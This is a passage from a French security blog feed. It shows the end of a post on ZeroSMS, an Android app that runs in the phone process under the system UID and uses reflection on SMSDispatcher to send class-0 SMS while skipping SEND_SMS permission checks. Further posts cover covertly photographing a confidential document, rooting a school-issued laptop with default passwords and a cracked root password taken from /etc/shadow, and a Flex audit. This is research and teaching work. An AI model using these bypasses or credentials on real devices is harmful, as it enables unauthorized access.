&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;Method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SMSDispatcher&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDeclaredMethod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sendRawPdu&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getClass&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getClass&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PendingIntent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAccessible&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sms_disp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pdus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encodedScAddress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pdus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;encodedMessage&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SecurityException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NoSuchFieldException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IllegalArgumentException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IllegalAccessException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NoSuchMethodException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;InvocationTargetException&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Exécution dans le contexte de com.android.phone&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le cœur du système d'envoi est développé, il ne reste plus qu'à préciser le manifeste de manière à ce que l'application soit lancée dans le contexte du processus &lt;em&gt;com.android.phone&lt;/em&gt;. J'ai fait beaucoup de tests, et la seule configuration qui semble passer est la suivante, basée sur un identifiant d'utilisateur partagé &lt;em&gt;android.uid.system&lt;/em&gt; et sur la définition du processus dans lequel l'activité &lt;em&gt;ZeroSMS&lt;/em&gt; doit s'exécuter:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
&amp;lt;manifest xmlns:android=&amp;quot;http://schemas.android.com/apk/res/android&amp;quot;
      package=&amp;quot;com.android.zerosms&amp;quot;
      android:versionCode=&amp;quot;1&amp;quot;
      android:versionName=&amp;quot;1.0&amp;quot;
      android:sharedUserId=&amp;quot;android.uid.system&amp;quot;&amp;gt;
    &amp;lt;uses-permission android:name=&amp;quot;android.permission.SEND_SMS&amp;quot;/&amp;gt;
    &amp;lt;application android:icon=&amp;quot;&amp;#64;drawable/icon&amp;quot; android:label=&amp;quot;&amp;#64;string/app_name&amp;quot;&amp;gt;
        &amp;lt;activity android:name=&amp;quot;.ZeroSMS&amp;quot;
                  android:label=&amp;quot;&amp;#64;string/app_name&amp;quot;
                  android:process=&amp;quot;com.android.phone&amp;quot;&amp;gt;
            &amp;lt;intent-filter&amp;gt;
                &amp;lt;action android:name=&amp;quot;android.intent.action.MAIN&amp;quot; /&amp;gt;
                &amp;lt;category android:name=&amp;quot;android.intent.category.LAUNCHER&amp;quot; /&amp;gt;
            &amp;lt;/intent-filter&amp;gt;
        &amp;lt;/activity&amp;gt;
    &amp;lt;/application&amp;gt;
&amp;lt;/manifest&amp;gt;
&lt;/pre&gt;
&lt;p&gt;Il ne reste plus qu'à compiler et produire un APK non-signé, qui sera ensuite signé avec &lt;em&gt;signapk&lt;/em&gt;, et installé avec &lt;em&gt;adb&lt;/em&gt;, comme mentionné précédemment. Une fois installée, l'application permet l'envoi de SMS classe 0. J'ai publié le code de l'application ainsi qu'une version compilée et signée sur Github &lt;strong&gt;[1]&lt;/strong&gt;. Je ne vous fait pas de démo, mais je vous laisse essayer l'APK final (&lt;em&gt;ZeroSms-signed.apk&lt;/em&gt;, situé dans le dossier &lt;em&gt;apks&lt;/em&gt;). L'application ressemble à ceci:&lt;/p&gt;
&lt;p&gt;&amp;lt;center&amp;gt;&amp;lt;img131&amp;gt;&amp;lt;img132&amp;gt;&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quid des permissions ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Durant mes tests (qui m'ont pris plusieurs jours) j'ai eu des difficultés à arriver à la solution décrite dans cet article, et j'ai pu notamment remarquer que le fait de passer par l'envoi de PDU contourne les restrictions (via les permissions) sur l'envoi de SMS. J'ai eu énormément d'erreurs de type &amp;quot;User 1001 has no permission android.permission.SEND_SMS&amp;quot;, ce qui m'a bloqué pendant quelque temps, jusqu'à ce que je trouve cette parade (passer par la classe &lt;em&gt;SMSDispatcher&lt;/em&gt;). Cela contourne notamment les vérifications faites par la classe &lt;em&gt;IccSmsInterfaceManager&lt;/em&gt; sur la permission &lt;em&gt;android.permission.SEND_SMS&lt;/em&gt;. Ceci dit, vu que l'application est une application système, cela ne remet pas en cause la sécurité d'Android (l'application étant installée de force via &lt;em&gt;adb&lt;/em&gt;), mais offre un moyen de contourner les vérifications effectuées sur certaines permissions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je dois avouer que les manipulations à effectuer sur la version 2.1 et celles présentées ici sont franchement différentes et bien plus complexes sur les SDK récents. Cependant, une fois le SDK Android amélioré et le plugin ADT d'Eclipse patché, le développement est très intuitif et permet de jouer pleinement avec les composants système: téléphone, sms, etc ... Je suis sûr que ça peut ouvrir des voies vers d'autres utilisations !&lt;/p&gt;
&lt;p&gt;Notez toutefois que l'application peut être signée pour les différents mods Android populaires, bien que dans mon exemple je l'ai fait pour CyanogenMod 7.2. Cette astuce doit fonctionner sur les versions récentes d'Android, toutefois ne disposant pas d'un téléphone sous ICS je n'en ai pas la certitude, si quelqu'un peut confirmer ça serait super.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MAJ - 12/10/2012&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Versions compatibles (suites aux retours de lecteurs):
*  CyanogenMod version 7.2
*  CyanogenMod version 9
*  CyanogenMod version 10&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;`1] [ZeroSMS sur Github &amp;lt;https://github.com/virtualabs/ZeroSMS&amp;gt;`_&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;`2] [Code source Android 2.3.7 (Grepcode) &amp;lt;http://grepcode.com/snapshot/repository.grepcode.com/java/ext/com.google.android/android/2.3.7_r1/&amp;gt;`_&lt;/strong&gt;&lt;/p&gt;
</content><category term="Sécu"/><category term="sécurité"/><category term="android"/></entry><entry><title>Tout est sous contrôle</title><link href="https://virtualabs.fr/secu/Tout-est-sous-controle" rel="alternate"/><published>2012-09-28T08:30:00+02:00</published><updated>2012-09-28T08:30:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2012-09-28:/secu/Tout-est-sous-controle</id><summary type="html">&lt;p&gt;On vit une drôle d'époque. Sincèrement. Il suffit que tout récemment certains utilisateurs de Facebook se rendent compte (en allant déterrer leurs messages d'avant 2009) que leur vie privée n'était pas si privée que cela pour que des ministres demandent des comptes et lancent une enquête de la CNIL. Tout …&lt;/p&gt;</summary><content type="html">&lt;p&gt;On vit une drôle d'époque. Sincèrement. Il suffit que tout récemment certains utilisateurs de Facebook se rendent compte (en allant déterrer leurs messages d'avant 2009) que leur vie privée n'était pas si privée que cela pour que des ministres demandent des comptes et lancent une enquête de la CNIL. Tout ça parce que des utilisateurs n'ont pas (encore) compris que mettre sur un serveur distant des données personnelles (et pour certaines confidentielles) les rendait hors de contrôle. La bonne blague. Comme si ce genre de problème ne se produisait que dans le monde virtuel, le monde numérique.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Confidentiel, vous avez dit ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je forme des gens à la sécurité informatique, et plus généralement à la sécurité de l'information. Et cela plusieurs semaines par an. Et ce soir, en rentrant du boulot (où je dispense une formation, comme c'est étrange), une femme vient s'asseoir sur le siège diagonalement opposé au mien, dans un train de banlieue comme il y en a tant. Un train bondé, rempli de gens éreintés. Mais contrairement aux autres personnes qui ont déjà dégainé leurs smartphones, elle sort un bloc-notes ainsi qu'un document de quelques pages sur lequel est inscrit la mention &amp;quot;CONFIDENTIEL&amp;quot; en rouge, et encadrée.&lt;/p&gt;
&lt;img alt="" src="/images/document.jpg" /&gt;
&lt;p&gt;Elle fait cela sous le nez de trois personnes, et commence à annoter le document comme si de rien n'était. Confidentiel, c'est marqué. On est trois à lorgner sur le document, et elle continue d'annoter: &amp;quot;Expliquer le schéma, comme je l'ai indiqué&amp;quot;, &amp;quot;Non.&amp;quot;. Le nom de sa société est visible, le document concerne une proposition commerciale, et le nom du client traîne pas très loin. Du grand art, je vous dit. J'avais mon smartphone dans les mains, en deux mouvements de doigt je lance l'appareil photo, coupe le son, et prend une série de clichés (avec zoom) de ce document annoté. Comme si de rien n'était. Et personne n'a rien remarqué. Normal quoi. Un smartphone, un geek, et une position qui fait style &amp;quot;je ne veux pas que vous puissiez voir mon écran&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Espion en herbe&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai été assez étonné de ne pas voir cette personne s'offusquer, car bon trois personnes qui reluquent son document ne l'ont pas fait broncher, et encore plus de pouvoir prendre ces photos sans me faire repérer. Je connais certaines personnes qui ont eu des problèmes juste en laissant un document annoté &amp;quot;CONFIDENTIEL&amp;quot; sur leur bureau, sans que même d'autres personnes y ait eu accès. Mais non, &amp;quot;CONFIDENTIEL&amp;quot; devait être là juste pour faire joli. Et pourtant je suis sûr que cette personne fait tout de même attention à ses documents sur son ordinateur, et à ses dossiers. Qu'elle trie tout comme il faut, et fait attention aux documents qu'elle transmet et stocke dans ses emails. Enfin j'ose espérer.&lt;/p&gt;
&lt;img alt="" src="/images/confidentiel-lol-2.jpg" /&gt;
&lt;p&gt;Pourtant, avec un smartphone tout ce qu'il y a de plus abordable et commun, n'importe qui peut se transformer en espion et prendre des photos à l'insu de personnes, en toute discrétion. Imaginons deux minutes que je travaille chez un concurrent, et l'on pourrait envisager que je puisse me servir de cette information. D'ailleurs ce n'est pas sans vous rappeler certaines  &lt;a class="reference external" href="http://www.slate.fr/story/3591/scotland-yard-ne-r%C3%A9pond-plus"&gt;personnalités&lt;/a&gt; qui se sont fait avoir avec une photo de documents sous le bras ... Même Nokia peut &lt;a class="reference external" href="http://www.generation-nt.com/nokia-lumia-920-pureview-video-publicite-stabilisation-actualite-1622252.html"&gt;vous faciliter la tâche&lt;/a&gt;, avec ses derniers modèles intégrant une stabilisation de l'image, tout en étant hype.&lt;/p&gt;
&lt;p&gt;Dernier point, et non des moindres: il est possible de nos jours de prendre une photo d'une personne ou d'un document à l'aide d'un objet très répandu, sans que personne ne le remarque. Un peu comme les appareils photos miniatures utilisés par des supers-espions à l'époque de la guerre froide, mais en plus gros. Sans que cela n'attire l'attention. Sans un bruit. Car le célèbre &amp;quot;clic&amp;quot; peut être désactivé, autorisant les prises de vues furtives. Et &lt;a class="reference external" href="http://www.liberation.fr/vous/0101483673-un-petit-clic-qui-merite-des-claques"&gt;ce n'est pas neuf&lt;/a&gt;, malheureusement.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;L'accès à l'information&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Vouloir protéger l'information est une noble cause, et cela passe par différents mécanismes mis en œuvres: des procédures internes, une classification des documents, ainsi qu'une politique de mots de passe solide et éprouvée. On arrête pas de le dire. Mais vous ne pourrez jamais être derrière tout le monde, et encore moins derrière les bourreaux de travail (&amp;quot;workaholics&amp;quot;) qui continuent de bosser dans le train qui les mène chez eux. Parce que bon, les objectifs et la carrière sont importants. Quant à la confidentialité ...&lt;/p&gt;
&lt;p&gt;D'ailleurs, si par le plus grand des hasards cette personne lit ceci et se reconnaît, qu'elle n'hésite pas à me contacter. Sait-on jamais.&lt;/p&gt;
</content><category term="Sécu"/><category term="confidentialité"/><category term="espionnage"/><category term="fuite d'information"/></entry><entry><title>Le numérique dans l'enseignement</title><link href="https://virtualabs.fr/humeur/Le-numerique-dans-l-enseignement" rel="alternate"/><published>2012-08-07T08:30:00+02:00</published><updated>2012-08-07T08:30:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2012-08-07:/humeur/Le-numerique-dans-l-enseignement</id><summary type="html">&lt;p&gt;J'ai rendu visite il y a quelques jours à de la famille en Corrèze, terre de prédiléction de notre cher Président, et j'ai pu voir le superbe ordinateur portable que le Conseil Général de Corrèze a prêté à mon petit cousin dans le cadre de l'opération «Ordicollège 19». J'avais entendu …&lt;/p&gt;</summary><content type="html">&lt;p&gt;J'ai rendu visite il y a quelques jours à de la famille en Corrèze, terre de prédiléction de notre cher Président, et j'ai pu voir le superbe ordinateur portable que le Conseil Général de Corrèze a prêté à mon petit cousin dans le cadre de l'opération «Ordicollège 19». J'avais entendu parler de cette opération dans les médias, et j'étais donc content de pouvoir toucher à un des ordinateurs portables prêté à un élève. Les nouveaux collégiens corrèziens se voient ainsi tous dotés d'un ordinateur portable, enfin maintenant d'une tablette numérique iPad (depuis 2010).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Tâtons la bête&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai ainsi pu manipuler l'engin: un portable de marque &lt;em&gt;Asus&lt;/em&gt; (c'est du solide), qui tourne sur Ubuntu. Je n'ai pas forcément pris le temps de regarder la version, mais de mémoire il me semble que c'était à jour. J'ai dans un premier temps tapé quelques commandes, histoire de voir ce qu'il y avait dessus, mais rien de bizarre:&lt;/p&gt;
&lt;img alt="" src="/images/ordicollege-1.jpg" /&gt;
&lt;p&gt;Puis je me suis intéressé à une fonctionnalité typique d'Ubuntu: le &lt;em&gt;sudo su&lt;/em&gt;. Mon cousin m'ayant dit que la configuration de l'ordinateur portable ne devait pas être modifiée, règle stipulée dans l'accord de prêt par ailleurs, je m'attendais à ce que cette commande échoue. Eh bien non, je me suis retrouvé administrateur de la machine, avec un bon vieux shell root. Bien sûr, il m'a fallu saisir le mot de passe du compte utilisateur, qui n'est autre que &lt;em&gt;ordico&lt;/em&gt;. Mon cousin m'a par ailleurs fait remarquer que les élèves étaient autorisés à changer leurs mots de passe,  mais que le système réclamait un mot de passe complexe, et donc que personne ne le changeait.&lt;/p&gt;
&lt;img alt="" src="/images/ordicollege-2.jpg" /&gt;
&lt;p&gt;Par curiosité, j'ai récupéré le contenu du fichier &lt;em&gt;/etc/shadow&lt;/em&gt;, histoire de trouver le mot de passe du compte d'administration &lt;em&gt;root&lt;/em&gt;. Il m'a fallu peu de temps et une wordlist sur mesure pour arriver à le casser, ceci dit je n'ai pas été déçu. Le mot de passe du compte d'administration n'est autre que ... «ordicollege». Tadaaaa ! Donc bon, au lieu de faire un &lt;em&gt;sudo su&lt;/em&gt; on pourrait tout aussi bien faire un &lt;em&gt;su&lt;/em&gt;. Ce qui est révélateur dans le cas présent, c'est la contradiction entre la volonté d'empêcher les élèves de modifier le système et l'idée naïve qui consiste à mettre un mot de passe bateau. Difficile dans ce cas de limiter les modifications des systèmes.&lt;/p&gt;
&lt;p&gt;Au vu de la progression de popularité des distributions orientées grand public comme Ubuntu, il semble probable qu'une faible proportion des élèves soient un brin connaisseurs ou asseaz curieux pour aller bidouiller le contenu de cet ordinateur mis à disposition, pour y installer des jeux, &lt;em&gt;wine&lt;/em&gt; ou autres. J'ai d'ailleurs pu voir DeSmuME (logiciel d'émulation de jeux Nintendo DS) installé sur cet ordinateur portable ... Car oui, les dépôts utilisés sont ceux officiels, là encore je m'attendais au moins à des dépôts maison et centralisés au niveau du Conseil Régional, mais non. Décidémment, la tâche des bidouilleurs en herbe est très facilitée.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quelques remarques techniques liés à l'opération «Ordicollège»&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Une fois rentré, j'en ai profité pour me renseigner sur cette opération, après avoir récupéré l'avis d'un élève. L'opération a été lancée en 2008, et chaque élève de 6ème a reçu entre 2008 et 2010 un ordinateur portable. Elle a été continuée en 2011 et 2012, mais cette fois-ci ce sont des iPads qui ont été mis à disposition (version 1 pour les élèves arrivés en 2011, version 2 pour ceux arrivés en 2012). Un site officiel a été déployé, ainsi qu'une plateforme web de suivi et de maintenance. Pour le coup les informations présentes sur &lt;a class="reference external" href="http://www.ordicollege.fr"&gt;le site officiel de l'opération&lt;/a&gt; contiennent du poney en barre. Quelques extraits choisis:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;«Concernant les tablettes iPad 1 &amp;amp; 2, il est interdit de mettre à jour le système»&lt;/li&gt;
&lt;li&gt;«L’élève collégien s’engage également à ne pas modifier la configuration initiale»&lt;/li&gt;
&lt;li&gt;«Pas de code de verrouillage d'écran sur la tablette»&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Les premiers et second points peuvent se comprendre, mais peuvent dans la plupart des cas exposer des élèves à des vulnérabilités critiques, et donc exposer de même leurs données personnelles. Toutefois, si les iPads sont administrés comme le sont les ordinateurs portables, je ne pense pas que cela pose de gros problèmes: beaucoup de parents qui possèdent un iPad et qui l'ont &lt;em&gt;jailbreaké&lt;/em&gt; peuvent le faire, et ceux qui s'y connaissent en Linux peuvent aussi altérer le contenu de l'ordinateur. Pour le retour à la plateforme, les opérations sont réversibles donc difficile pour un technicien de déterminer ce qui a été fait sur le matériel mis à disposition. Normal, ce ne sont pas des experts en inforensique.&lt;/p&gt;
&lt;p&gt;Le dernier point m'a beaucoup étonné, car il est révélateur d'une pratique de la plateforme de maintenance: l'interdiction de création ou de modification du mot de passe de la tablette pour cause de coût de maintenance. Le site mentionne d'ailleurs les raisons de cette interdiction:&lt;/p&gt;
&lt;p&gt;&amp;lt;quote&amp;gt;Pourquoi cette interdiction ? Depuis l'arrivée de la tablette dans le dispositif Ordicollège, la première cause d'intervention et d'immobilisation de ces matériels reste la création d'un code de verrouillage et son &amp;quot;oubli&amp;quot; par l'utilisateur. A chaque intervention de ce type, le matériel est immobilisé, les contenus stockés détruits, et cela pénalise à la fois l'utilisateur et la mise en oeuvre de ces outils par les enseignants. Cela engendre les opérations suivantes : prise en charge du matériel, effacement de la configuration, rechargement du système des applications, paramétrage, chargement des applications (valeur 30 €).&amp;lt;/quote&amp;gt;&lt;/p&gt;
&lt;p&gt;Ce dernier point est cependant très discutable car cela signifie que tout élève qui se fait emprunter sa tablette (ou même qui la prête en cours à un autre élève) ou  qui se la fait voler par un autre élève peut voir ses informations personnelles compromises. Et cela peut aller jusqu'à la publication sur Facebook de messages ou photos malvenus, tels que les jeunes le font déjà. Alors oui, alléger les coûts c'est bien (surtout pour une opération ayant un budget de 1,5 M€) mais penser à la sécurité et la protection des informations personnelles de nos chères têtes blondes accros à Facebook et à Internet, c'est quand même vital (rappelez vous &lt;a class="reference external" href="http://www.01net.com/editorial/533336/flou-sur-la-suppression-des-comptes-facebook-des-eleves-harceleurs/"&gt;Luc Chatel et sa volonté de faire fermer les comptes Facebook des élèves harceleurs&lt;/a&gt;).&lt;/p&gt;
</content><category term="Humeur"/><category term="sécurité"/></entry><entry><title>Reverse-engineering d'application Flex</title><link href="https://virtualabs.fr/secu/Pentest-d-applications-Flex" rel="alternate"/><published>2012-07-23T09:00:00+02:00</published><updated>2012-07-23T09:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2012-07-23:/secu/Pentest-d-applications-Flex</id><summary type="html">&lt;p&gt;Tout récemment, j'ai eu à auditer un jeu en ligne pour un client, et je m'attendai à un jeu super travaillé qui repose sur des standards connus (un jeu en HTML5/CSS3/JS comme l'excellent &lt;a class="reference external" href="http://www.cuttherope.ie/"&gt;CutTheRope&lt;/a&gt;). Mais non, je me suis retrouvé face à un jeu basé sur Flash et …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Tout récemment, j'ai eu à auditer un jeu en ligne pour un client, et je m'attendai à un jeu super travaillé qui repose sur des standards connus (un jeu en HTML5/CSS3/JS comme l'excellent &lt;a class="reference external" href="http://www.cuttherope.ie/"&gt;CutTheRope&lt;/a&gt;). Mais non, je me suis retrouvé face à un jeu basé sur Flash et la technologie Flex. Si vous êtes un lecteur régulier de ce blog, vous devez savoir que les applications Flash ne me rebuttent pas, bien au contraire !&lt;/p&gt;
&lt;p&gt;La prise en main du jeu est simple, mais le dialogue avec le serveur de jeu reste très obscur (car il s'agit d'un &lt;a class="reference external" href="http://www.youtube.com/watch?v=HXstRfE9AVU"&gt;MEUPORG&lt;/a&gt;, bien sûr). D'après les captures effectuées, les données respectent le format Action Message Format (AMF) défini par Adobe, j'y avais déjà touché à l'époque des débuts de Deezer mais je suis loin d'en être un grand fan. Après de plus amples recherches, j'ai découvert qu'il s'agissait d'une application Flex, dialoguant avec plusieurs serveurs de jeu via de l'AMFRPC, un protocole activement employé par Flex. J'ai donc du m'équiper.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Outillage&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour analyser des applications Flash, rien de mieux qu'un décompilateur Flash de renom. Pour ma part, je n'utilise pas Flare car incompatible avec les dernières versions de Flash, mais son pendant payant et pour Windows &lt;a class="reference external" href="http://www.sothink.com/product/flashdecompiler/"&gt;SWFDecompiler&lt;/a&gt; de Sothink. Cet outil reste LA référence dans le domaine, et permet de désassembler (presque) toutes les applications Flash. A cela s'ajoute la suite &lt;a class="reference external" href="http://www.swftools.org/"&gt;SWFTOOLS&lt;/a&gt;, bien pratique pour extraire des informations d'applications Flash (des ressources notamment).&lt;/p&gt;
